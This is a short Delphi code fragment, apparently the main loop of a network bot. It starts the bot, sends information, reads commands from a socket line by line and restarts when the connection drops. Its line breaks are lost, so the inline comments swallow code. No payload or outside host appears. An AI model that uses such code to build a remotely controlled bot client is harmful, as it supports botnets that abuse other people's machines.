var receivestring: string; begin StartUp; //Starts bot SendInfo; //Sends Info while True do begin receivestring:=''; ZeroMemory(@buff,sizeof(buff)); if (recv(Sock1,buff,SizeOf(buff),0)) < 1 then // Trys to read from socket if begin // the Recv() comes out to be Restart; // then it will restart. If not end else // then does the ReadSock procedure. begin receivestring:=receivestring+buff; if pos(#13#10,receivestring) > 0 then while pos(#13#10,receivestring) > 0 do begin readsock(copy(receivestring,0,pos(#13#10,receivestring)-1)); delete(receivestring,1,pos(#13#10,receivestring)+1); end; ZeroMemory(@buff,sizeof(buff)); end; end; end.